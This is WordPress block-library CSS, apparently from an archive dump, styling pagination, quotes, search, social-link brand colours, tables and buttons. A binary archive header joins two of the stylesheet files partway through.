.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}

.wp-block-query-title,.wp-block-query-total,.wp-block-quote{
  box-sizing:border-box;
}

.wp-block-quote{
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:left;
}
.wp-block-quote>cite{
  display:block;
}

.wp-block-read-more{
  display:block;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}

ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 0 1em 1em;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-rss{
  box-sizing:border-box;
  list-style:none;
  padding:0;
}

.wp-block-search__button{
  margin-right:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  box-sizing:border-box;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  margin-right:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__input){
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-transform:inherit;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:left;
}

.wp-block-separator{
  border:none;
  border-top:2px solid;
}

:root :where(.wp-block-separator.is-style-dots){
  height:auto;
  line-height:1;
  text-align:center;
}
:root :where(.wp-block-separator.is-style-dots):before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}

.wp-block-separator.is-style-dots{
  background:none !important;
  border:none !important;
}

.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

:root :where(.wp-block-site-logo.is-style-rounded){
  border-radius:9999px;
}

.wp-block-site-tagline,.wp-block-site-title{
  box-sizing:border-box;
}
.wp-block-site-title :where(a){
  color:inherit;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}

.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-right:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
}
@media not (prefers-reduced-motion){
  .wp-block-social-link{
    transition:transform .1s ease;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{
  background-color:#0a7aff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{
  background-color:#5865f2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{
  background-color:#0866ff;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{
  background:none;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{
  color:#f90;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{
  color:#1ea0c3;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{
  color:#0757fe;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{
  color:#0a7aff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{
  color:#1e1f26;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{
  color:#02e49b;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{
  color:#5865f2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{
  color:#e94c89;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{
  color:#4280ff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{
  color:#f45800;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{
  color:#0866ff;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{
  color:#0461dd;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{
  color:#e65678;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{
  color:#24292d;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{
  color:#382110;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{
  color:#ea4434;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{
  color:#1d4fc4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{
  color:#f00075;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{
  color:#e21b24;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{
  color:#0d66c2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{
  color:#3288d4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{
  color:#f6405f;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{
  color:#e60122;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{
  color:#ef4155;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{
  color:#ff4500;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{
  color:#0478d7;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{
  color:#ff5600;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{
  color:#1bd760;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{
  color:#2aabee;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{
  color:#011835;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{
  color:#6440a4;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{
  color:#1da1f2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo{
  color:#1eb7ea;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{
  color:#4680c2;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{
  color:#25d366;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{
  color:#3499cd;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{
  color:#000;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{
  color:#d32422;
}
:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}

:root :where(.wp-block-social-links .wp-social-link a){
  padding:.25em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){
  padding:0;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}

.wp-block-spacer{
  clear:both;
}

.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-left:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-right:5px;
  text-decoration:none;
}

:root :where(.wp-block-tag-cloud.is-style-outline){
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}

:root :where(.wp-block-tag-cloud.is-style-outline a){
  border:1px solid;
  font-size:unset !important;
  margin-left:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}

.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}

:root :where(.wp-block-table-of-contents){
  box-sizing:border-box;
}

:where(.wp-block-term-description){
  box-sizing:border-box;
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}
.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-right:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-left:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.3333333333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}

pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}

.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}

.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:right;
  text-indent:0;
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  line-height:normal;
  padding:15px 23px 14px;
  right:5px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-left-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-right-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-left-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-right-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}PK1Xd[a�̞���dist/block-library/style.cssnu�[���@charset "UTF-8";

.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}

.wp-block-avatar{
  line-height:0;
}
.wp-block-avatar,.wp-block-avatar img{
  box-sizing:border-box;
}
.wp-block-avatar.aligncenter{
  text-align:center;
}

.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}

.wp-block-button__link{
  align-content:center;
  box-sizing:border-box;
  cursor:pointer;
  display:inline-block;
  height:100%;
  text-align:center;
  word-break:break-word;
}
.wp-block-button__link.aligncenter{
  text-align:center;
}
.wp-block-button__link.alignright{
  text-align:right;
}

:where(.wp-block-button__link){
  border-radius:9999px;
  box-shadow:none;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.wp-block-buttons>.wp-block-button.has-custom-width{
  max-width:none;
}
.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{
  width:100%;
}
.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-25{
  width:calc(25% - var(--wp--style--block-gap, .5em)*.75);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-50{
  width:calc(50% - var(--wp--style--block-gap, .5em)*.5);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-75{
  width:calc(75% - var(--wp--style--block-gap, .5em)*.25);
}
.wp-block-buttons>.wp-block-button.wp-block-button__width-100{
  flex-basis:100%;
  width:100%;
}

.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{
  width:25%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{
  width:50%;
}
.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{
  width:75%;
}

.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{
  border-radius:0;
}

.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{
  border-radius:0 !important;
}

:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){
  border:2px solid;
  padding:.667em 1.333em;
}
